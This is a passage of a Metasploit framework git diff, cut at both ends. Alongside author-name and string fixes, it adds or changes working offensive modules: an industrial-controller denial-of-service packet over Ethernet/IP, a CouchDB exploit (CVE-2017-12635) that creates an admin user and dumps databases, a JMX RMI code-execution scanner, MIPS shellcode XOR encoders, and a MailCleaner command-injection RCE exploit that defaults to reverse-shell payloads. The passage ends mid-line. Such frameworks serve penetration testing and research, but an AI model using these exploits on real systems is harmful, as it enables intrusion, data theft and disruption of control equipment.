#{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + + def run + connect + # Register Ethernet/IP session + sock.put(enip_register_session_pkt) + enip_register_session_ans = sock.get_once + unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00" + print_error "Ethernet/IP - Failed to create session." + disconnect + return + end + enip_session_id = enip_register_session_ans[4, 4] + print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})" + + # Ethernet/IP CCM Forward Open + sock.put(enip_ccm_forward_open_pkt(enip_session_id)) + enip_ccm_forward_open_ans = sock.get_once + unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00" + print_error "CIP Connection Manager - Failed Forward Open request" + disconnect + return + end + cip_connection_id = enip_ccm_forward_open_ans[44, 4] + print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})" + + # PCCC DoS packet + print_status "Sending PCCC DoS magic packet..." + sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id)) + + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end +end diff --git a/modules/auxiliary/fileformat/badpdf.rb b/modules/auxiliary/fileformat/badpdf.rb index da877c66c8c6..89c8cbad4b23 100644 --- a/modules/auxiliary/fileformat/badpdf.rb +++ b/modules/auxiliary/fileformat/badpdf.rb @@ -39,14 +39,14 @@ def initialize(info = {}) end def run - if datastore['PDFINJECT'].to_s.end_with?('.pdf') && datastore['FILENAME'].to_s.end_with?('.pdf') + if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil? print_error 'Please configure either FILENAME or PDFINJECT' elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf') injectpdf elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf') createpdf else - print_error 'FILENAME or PDFINJECT must end with '.pdf' file extension' + print_error "FILENAME or PDFINJECT must end with '.pdf' file extension" end end diff --git a/modules/auxiliary/gather/asterisk_creds.rb b/modules/auxiliary/gather/asterisk_creds.rb index b1602a51336f..37316f4373c3 100644 --- a/modules/auxiliary/gather/asterisk_creds.rb +++ b/modules/auxiliary/gather/asterisk_creds.rb @@ -14,7 +14,7 @@ def initialize(info = {}) This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service. Valid manager credentials are required. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'http://www.asterisk.name/sip1.html'], diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index 59a42ad36f23..568ed407a645 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -21,7 +21,7 @@ def initialize(info = {}) Note: All tokens expire after 30 minutes of inactivity by default. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], diff --git a/modules/auxiliary/gather/http_pdf_authors.rb b/modules/auxiliary/gather/http_pdf_authors.rb index 37581554c316..d31b58f0755f 100644 --- a/modules/auxiliary/gather/http_pdf_authors.rb +++ b/modules/auxiliary/gather/http_pdf_authors.rb @@ -33,7 +33,7 @@ def initialize(info = {}) and extract the author's name from the document metadata. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ')) + 'Author' => 'bcoles')) register_options( [ OptString.new('URL', [ false, 'The target URL', '' ]), diff --git a/modules/auxiliary/gather/snare_registry.rb b/modules/auxiliary/gather/snare_registry.rb index 8bdd4b7bbce5..eb15ee45faf0 100644 --- a/modules/auxiliary/gather/snare_registry.rb +++ b/modules/auxiliary/gather/snare_registry.rb @@ -22,7 +22,7 @@ def initialize(info = {}) to become unresponsive until the server completes the request. }, 'Platform' => 'win', - 'Author' => [ 'Brendan Coles ' ], + 'Author' => [ 'bcoles' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/gather/teamtalk_creds.rb b/modules/auxiliary/gather/teamtalk_creds.rb index cd63792fa0dc..c486a372f67b 100644 --- a/modules/auxiliary/gather/teamtalk_creds.rb +++ b/modules/auxiliary/gather/teamtalk_creds.rb @@ -18,7 +18,7 @@ def initialize(info = {}) This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ # Protocol documentation diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index ca19bff5def3..eecec477469e 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -9,26 +9,37 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'CouchDB Enum Utility', - 'Description' => %q{ + 'Name' => 'CouchDB Enum Utility', + 'Description' => %q{ This module enumerates databases on CouchDB using the REST API (without authentication by default). }, - 'References' => + 'References' => [ + ['CVE', '2017-12635'], + ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], ['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API'] ], - 'Author' => [ 'Roberto Soares Espreto ' ], - 'License' => MSF_LICENSE + 'Author' => + [ + 'Max Justicz', # Vulnerability discovery + 'Roberto Soares Espreto ', # Metasploit module + 'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements + 'Green-m ' # Portions from apache_couchdb_cmd_exec.rb used + ], + 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(5984), OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']), - OptBool.new('SERVERINFO', [true, 'Print server info']), - OptString.new('HttpUsername', [false, 'The username to login as']), - OptString.new('HttpPassword', [false, 'The password to login with']) + OptBool.new('SERVERINFO', [true, 'Print server info', false]), + OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]), + OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]), + OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]), + OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) + ]) end @@ -36,76 +47,181 @@ def valid_response(res) return res.code == 200 && res.headers['Server'].include?('CouchDB') end + def get_version + @version = nil + + begin + res = send_request_cgi( + 'uri' => '/', + 'method' => 'GET' + ) + rescue Rex::ConnectionError + vprint_bad("#{peer} - Connection failed") + return false + end + + unless res + vprint_bad("#{peer} - No response, check if it is CouchDB.") + return false + end + + if res && res.code == 401 + print_bad("#{peer} - Authentication required.") + return false + end + + if res && res.code == 200 + res_json = res.get_json_document + + if res_json.empty? + vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.") + return false + end + + @version = res_json['version'] if res_json['version'] + return true + end + + vprint_warning("#{peer} - Version not found") + true + end + + def check + return Exploit::CheckCode::Unknown unless get_version + version = Gem::Version.new(@version) + return Exploit::CheckCode::Unknown if version.version.empty? + vprint_good("#{peer} - Found CouchDB version #{version}") + + return Exploit::CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + + Exploit::CheckCode::Safe + end + def get_dbs(auth) begin res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'authorization' => auth + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' ) temp = JSON.parse(res.body) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e - print_error("#{peer} The following Error was encountered: #{e.class}") + print_error("#{peer} - The following Error was encountered: #{e.class}") return end - if valid_response(res) - print_status("#{peer} Enumerating Databases...") - results = JSON.pretty_generate(temp) - print_good("#{peer} Databases:\n\n#{results}\n") - - path = store_loot( - 'couchdb.enum', - 'application/json', - rhost, - results, - 'CouchDB Databases' - ) + unless valid_response(res) + print_error("#{peer} - Unable to enum, received \"#{res.code}\"") + return + end + + print_status("#{peer} - Enumerating Databases...") + results = JSON.pretty_generate(temp) + print_good("#{peer} - Databases:\n\n#{results}\n") + path = store_loot( + 'couchdb.enum', + 'application/json', + rhost, + results, + 'CouchDB Databases' + ) - print_good("#{peer} File saved in: #{path}") - else - print_error("#{peer} Unable to enum, received \"#{res.code}\"") + print_good("#{peer} - File saved in: #{path}") + res.get_json_document.each do |db| + r = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"), + 'method'=> 'GET', + 'authorization' => auth, + 'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'} + ) + if r.code != 200 + print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.") + return + end + temp = JSON.parse(r.body) + results = JSON.pretty_generate(temp) + path = store_loot( + "couchdb.#{db}", + "application/json", + rhost, + results, + "CouchDB Databases" + ) + print_good("#{peer} - #{db} saved in: #{path}") end end def get_server_info(auth) begin res = send_request_cgi( - 'uri' => '/', - 'method' => 'GET', - 'authorization' => auth + 'uri' => '/', + 'method' => 'GET' ) temp = JSON.parse(res.body) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e - print_error("#{peer} The following Error was encountered: #{e.class}") + print_error("#{peer} - The following Error was encountered: #{e.class}") return end - if valid_response(res) - # Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}} + unless valid_response(res) + print_error("#{peer} - Unable to enum, received \"#{res.code}\"") + return + end - print_good("#{peer} #{JSON.pretty_generate(temp)}") - report_service( - host: rhost, - port: rport, - name: 'couchdb', - proto: 'tcp', - info: res.body - ) - else - print_error("#{peer} Unable to enum, received \"#{res.code}\"") + # Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}} + + print_good("#{peer} - #{JSON.pretty_generate(temp)}") + report_service( + host: rhost, + port: rport, + name: 'couchdb', + proto: 'tcp', + info: res.body + ) + end + + def create_user + username = datastore['HttpUsername'] + password = datastore['HttpPassword'] + roles = datastore['ROLES'] + timeout = datastore['TIMEOUT'] + version = @version + + data = %Q({ +"type": "user", +"name": "#{username}", +"roles": ["#{roles}"], +"roles": [], +"password": "#{password}" +}) + res = send_request_cgi( + { 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username + 'method' => 'PUT', + 'ctype' => 'text/json', + 'data' => data, + }, timeout) + + unless res && res.code == 200 + print_error("#{peer} - Change Failed") + return end + + print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.") end def run username = datastore['HttpUsername'] password = datastore['HttpPassword'] - auth = basic_auth(username, password) if username && password - if datastore['SERVERINFO'] - get_server_info(auth) + + if datastore['CREATEUSER'] + fail_with(Failure::Unknown, 'get_version failed in run') unless get_version + version = Gem::Version.new(@version) + print_good("#{peer} - Found CouchDB version #{version}") + create_user if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) end + auth = basic_auth(username, password) if username && password + get_server_info(auth) if datastore['SERVERINFO'] get_dbs(auth) end end diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb index d840d6d6e6a1..b077b733441a 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -23,7 +23,7 @@ def initialize(info = {}) 'Author' => [ 'Pedro Ribeiro ', # Discovery and exploit - 'Brendan Coles ' # metasploit module + 'bcoles' # metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/http/surgenews_user_creds.rb b/modules/auxiliary/scanner/http/surgenews_user_creds.rb index 13dfe92b5fe8..90ce58ca7cc8 100644 --- a/modules/auxiliary/scanner/http/surgenews_user_creds.rb +++ b/modules/auxiliary/scanner/http/surgenews_user_creds.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ ['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'], ], - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'DisclosureDate' => 'Jun 16 2017')) register_options [ Opt::RPORT(9080) ] deregister_options 'RHOST' diff --git a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb index 3c64ec657fef..5403683437d0 100644 --- a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb @@ -26,7 +26,7 @@ def initialize(info = {}) 'Author' => [ 'R-73eN', # Vulnerability Discovery - 'Brendan Coles ' # Metasploit module + 'bcoles' # Metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/misc/java_jmx_server.rb b/modules/auxiliary/scanner/misc/java_jmx_server.rb new file mode 100644 index 000000000000..c87cc00524ea --- /dev/null +++ b/modules/auxiliary/scanner/misc/java_jmx_server.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/java/serialization' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Java::Rmi::Client + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Java JMX Server Insecure Endpoint Code Execution Scanner', + 'Description' => 'Detect Java JMX endpoints', + 'Author' => ['rocktheboat'], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], + ['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'], + ['CVE', '2015-2342'] + ], + 'Platform' => 'java', + 'DisclosureDate' => 'May 22 2013' + ) + + register_options( + [ + Opt::RPORT(1099) + ]) + end + + def run_host(target_host) + mbean_server = { "address" => rhost, "port" => rport } + + connect + print_status("Sending RMI header...") + unless is_rmi? + print_status("#{rhost}:#{rport} Java JMX RMI not detected") + disconnect + return + end + + mbean_server = discover_endpoint + disconnect + + if mbean_server.nil? + print_status("#{rhost}:#{rport} Java JMX MBean not detected") + return + end + + connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + + unless is_rmi? + print_status("#{rhost}:#{rport} Java JMX RMI not detected") + disconnect + return + end + + jmx_endpoint = handshake(mbean_server) + disconnect + + if jmx_endpoint == false + print_status("#{mbean_server[:address]}:#{mbean_server[:port]} Java JMX MBean authentication required") + return + elsif jmx_endpoint.nil? + print_status("#{mbean_server[:address]}:#{mbean_server[:port]} Java JMX MBean status unknown") + return + end + + print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") + svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "JMX MBean server accessible") + report_vuln( + :host => rhost, + :service => svc, + :name => self.name, + :info => "Module #{self.fullname} confirmed RCE via JMX RMI service", + :refs => self.references + ) + end + + def is_rmi? + send_header + ack = recv_protocol_ack + if ack.nil? + return false + end + + true + end + + def discover_endpoint + rmi_classes_and_interfaces = [ + 'javax.management.remote.rmi.RMIConnectionImpl', + 'javax.management.remote.rmi.RMIConnectionImpl_Stub', + 'javax.management.remote.rmi.RMIConnector', + 'javax.management.remote.rmi.RMIConnectorServer', + 'javax.management.remote.rmi.RMIIIOPServerImpl', + 'javax.management.remote.rmi.RMIJRMPServerImpl', + 'javax.management.remote.rmi.RMIServerImpl', + 'javax.management.remote.rmi.RMIServerImpl_Stub', + 'javax.management.remote.rmi.RMIConnection', + 'javax.management.remote.rmi.RMIServer' + ] + + ref = send_registry_lookup(name: "jmxrmi") + return nil if ref.nil? + + unless rmi_classes_and_interfaces.include? ref[:object] + vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}") + return nil + end + + ref + end + + def handshake(mbean) + opts = { + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count + } + send_new_client(opts) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("JMXRMI discovery raised an exception of type #{e.message}") + if e.message == 'java.lang.SecurityException' + return false + end + return nil + end +end diff --git a/modules/auxiliary/scanner/nntp/nntp_login.rb b/modules/auxiliary/scanner/nntp/nntp_login.rb index 3a52e683c353..dfb45ccfdb72 100644 --- a/modules/auxiliary/scanner/nntp/nntp_login.rb +++ b/modules/auxiliary/scanner/nntp/nntp_login.rb @@ -20,7 +20,7 @@ def initialize(info = {}) but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '1999-0502' ], # Weak password [ 'URL', 'https://tools.ietf.org/html/rfc3977' ], diff --git a/modules/auxiliary/scanner/wsdd/wsdd_query.rb b/modules/auxiliary/scanner/wsdd/wsdd_query.rb index 6956fe090fbc..7107a3feb413 100644 --- a/modules/auxiliary/scanner/wsdd/wsdd_query.rb +++ b/modules/auxiliary/scanner/wsdd/wsdd_query.rb @@ -14,7 +14,7 @@ def initialize Discover information from Web Services Dynamic Discovery (WS-Discovery) enabled systems. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index ce56c69af27a..9bfd27ce2cb5 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -18,8 +18,9 @@ def initialize }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on - 'juan vazquez' # byte_xori encoder + 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'juan vazquez', # byte_xori encoder + 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) ], 'Arch' => ARCH_MIPSBE, 'License' => MSF_LICENSE, @@ -44,6 +45,7 @@ def decoder_stub(state) # 16-bits not (again, see also commented source) reg_14 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), < %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => + [ 'Julien Tinnes ', # original shellcode + 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat + ], 'Arch' => ARCH_MIPSBE, 'License' => MSF_LICENSE, 'Decoder' => @@ -36,7 +39,8 @@ def decoder_stub(state) raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0 # 16-bits not (again, see below) - reg_14 = (number_of_passes+1)^0xFFFF + reg_10 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <> 16) & 0ffffh ; ori reg, reg, (imm) & 0ffffh - addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff + addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff endm - li( $14, #{reg_14}) ; 4 passes - nor $14, $14, $0 ; put number of passes in $14 + li( $10, #{reg_10}) ; load number of passes ^ 0xffff + nor $10, $10, $0 ; put number of passes in $10 - li( $11,-73) ; addend to calculated PC is 73 + li( $11,-89) ; addend to calculated PC is 73 ;.set noreorder next: bltzal $8, next ;.set reorder slti $8, $0, 0x8282 - nor $11, $11, $0 ; addend in $9 - addu $25, $31, $11 ; $25 points to encoded shellcode +4 -; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush + nor $11, $11, $0 ; addend in $9 + addu $25, $31, $11 ; $25 points to encoded shellcode +4 + addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) -; lui $2, 0xDDDD ; first part of the xor (old method) - slti $23, $0, 0x8282 ; store 0 in $23 (our counter) -; ori $17, $2, 0xDDDD ; second part of the xor (old method) - lw $17, -4($25) ; load xor key in $17 +; lui $2, 0xDDDD ; first part of the xor (old method) + slti $23, $0, 0x8282 ; store 0 in $23 (our counter) +; ori $17, $2, 0xDDDD ; second part of the xor (old method) + lw $17, -4($25) ; load xor key in $17 - li( $13, -5) - nor $13, $13, $0 ; 4 in $13 + li( $9, -5) + nor $9, $9, $0 ; 4 in $9 - addi $15, $13, -3 ; 1 in $15 + addi $15, $9, -3 ; 1 in $15 loop: lw $8, -4($25) - addu $23, $23, $15 ; increment counter + addu $23, $23, $15 ; increment counter xor $3, $8, $17 - sltu $30, $23, $14 ; enough loops? + sltu $30, $23, $10 ; enough loops? sw $3, -4($25) - addi $6, $13, -1 ; 3 in $6 (for cacheflush) + addi $6, $9, -1 ; 3 in $6 (for cacheflush) bne $0, $30, loop - addu $25, $25, $13 ; next instruction to decode :) + addu $25, $25, $9 ; next instruction to decode :) -; addiu $4, $16, -4 ; not checked by Linux -; li $5,40 ; not checked by Linux -; li $6,3 ; $6 is set above + addiu $4, $16, -4 ; cacheflush() addr parameter + li( $10,#{reg_5}) ; cacheflush() nbytes parameter + nor $5, $10, $0 ; same as above +; li $6,3 ; $6 is set above, 3rd arg for cacheflush() ; .set noreorder - li( $2, 4147) ; cacheflush - ;.ascii "\\x01JT\\x0c" ; nul-free syscall + li( $2, 4147) ; cacheflush +; .ascii "\\x01JT\\x0c" ; nul-free syscall syscall 0x52950 ; .set reorder - ; write last decoder opcode and decoded shellcode -; li $4,1 ; stdout +; write last decoder opcode and decoded shellcode +; li $4,1 ; stdout ; addi $5, $16, -8 -; li $6,40 ; how much to write +; li $6,40 ; how much to write ; .set noreorder -; li $2, 4004 ; write +; li $2, 4004 ; write ; syscall ; .set reorder - nop ; encoded shellcoded must be here (xor key right here ;) + nop ; encoded shellcoded must be here (xor key right here ;) ; $t9 (aka $25) points here EOS diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index ad2b7b1b1759..97b1e6cfe4cb 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -18,8 +18,9 @@ def initialize }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on - 'juan vazquez' # byte_xori encoder + 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'juan vazquez', # byte_xori encoder + 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) ], 'Arch' => ARCH_MIPSLE, 'License' => MSF_LICENSE, @@ -44,6 +45,7 @@ def decoder_stub(state) # 16-bits not (again, see also commented source) reg_14 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), < %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => + [ 'Julien Tinnes ', # original shellcode + 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat + ], 'Arch' => ARCH_MIPSLE, 'License' => MSF_LICENSE, 'Decoder' => @@ -36,7 +39,8 @@ def decoder_stub(state) raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0 # 16-bits not (again, see below) - reg_14 = (number_of_passes+1)^0xFFFF + reg_10 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <> 16) & 0ffffh ; ori reg, reg, (imm) & 0ffffh - addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff + addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff endm - li( $14, #{reg_14}) ; 4 passes - nor $14, $14, $0 ; put number of passes in $14 + li( $10, #{reg_10}) ; load number of passes ^ 0xffff + nor $10, $10, $0 ; put number of passes in $10 - li( $11,-73) ; addend to calculated PC is 73 + li( $11,-89) ; addend to calculated PC is 73 ;.set noreorder next: bltzal $8, next ;.set reorder slti $8, $0, 0x8282 - nor $11, $11, $0 ; addend in $9 - addu $25, $31, $11 ; $25 points to encoded shellcode +4 -; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush + nor $11, $11, $0 ; addend in $9 + addu $25, $31, $11 ; $25 points to encoded shellcode +4 + addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) -; lui $2, 0xDDDD ; first part of the xor (old method) - slti $23, $0, 0x8282 ; store 0 in $23 (our counter) -; ori $17, $2, 0xDDDD ; second part of the xor (old method) - lw $17, -4($25) ; load xor key in $17 +; lui $2, 0xDDDD ; first part of the xor (old method) + slti $23, $0, 0x8282 ; store 0 in $23 (our counter) +; ori $17, $2, 0xDDDD ; second part of the xor (old method) + lw $17, -4($25) ; load xor key in $17 - li( $13, -5) - nor $13, $13, $0 ; 4 in $13 + li( $9, -5) + nor $9, $9, $0 ; 4 in $9 - addi $15, $13, -3 ; 1 in $15 + addi $15, $9, -3 ; 1 in $15 loop: lw $8, -4($25) - addu $23, $23, $15 ; increment counter + addu $23, $23, $15 ; increment counter xor $3, $8, $17 - sltu $30, $23, $14 ; enough loops? + sltu $30, $23, $10 ; enough loops? sw $3, -4($25) - addi $6, $13, -1 ; 3 in $6 (for cacheflush) + addi $6, $9, -1 ; 3 in $6 (for cacheflush) bne $0, $30, loop - addu $25, $25, $13 ; next instruction to decode :) + addu $25, $25, $9 ; next instruction to decode :) -; addiu $4, $16, -4 ; not checked by Linux -; li $5,40 ; not checked by Linux -; li $6,3 ; $6 is set above + addiu $4, $16, -4 ; cacheflush() addr parameter + li( $10,#{reg_5}) ; cacheflush() nbytes parameter + nor $5, $10, $0 ; same as above +; li $6,3 ; $6 is set above, 3rd arg for cacheflush() ; .set noreorder - li( $2, 4147) ; cacheflush - ;.ascii "\\x01JT\\x0c" ; nul-free syscall + li( $2, 4147) ; cacheflush +; .ascii "\\x01JT\\x0c" ; nul-free syscall syscall 0x52950 ; .set reorder - ; write last decoder opcode and decoded shellcode -; li $4,1 ; stdout +; write last decoder opcode and decoded shellcode +; li $4,1 ; stdout ; addi $5, $16, -8 -; li $6,40 ; how much to write +; li $6,40 ; how much to write ; .set noreorder -; li $2, 4004 ; write +; li $2, 4004 ; write ; syscall ; .set reorder - nop ; encoded shellcoded must be here (xor key right here ;) + nop ; encoded shellcoded must be here (xor key right here ;) ; $t9 (aka $25) points here EOS diff --git a/modules/exploits/linux/http/dlink_dcs931l_upload.rb b/modules/exploits/linux/http/dlink_dcs931l_upload.rb index 52fb7746a7bb..f7b00ca93c12 100644 --- a/modules/exploits/linux/http/dlink_dcs931l_upload.rb +++ b/modules/exploits/linux/http/dlink_dcs931l_upload.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'Author' => [ 'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'Payload' => { diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb new file mode 100644 index 000000000000..0fb948f88abc --- /dev/null +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Mailcleaner Remote Code Execution", + 'Description' => %q{ + This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an + operating system command under the context of the web server user which is root. + + /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing + operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'], + ['CVE', '2018-20323'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 5, + }, + 'Platform' => ['python', 'unix'], + 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], + 'Targets' => + [ + ['Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'} + } + ], + ['Command payload', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => {'BadChars' => "\x26"}, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 19 2018", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'The password to login with']) + ] + ) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def auth + print_status('Performing authentication...') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin/') + }) + + if res && !res.get_cookies.empty? + cookie = res.get_cookies + else + fail_with(Failure::UnexpectedReply, 'Did not get 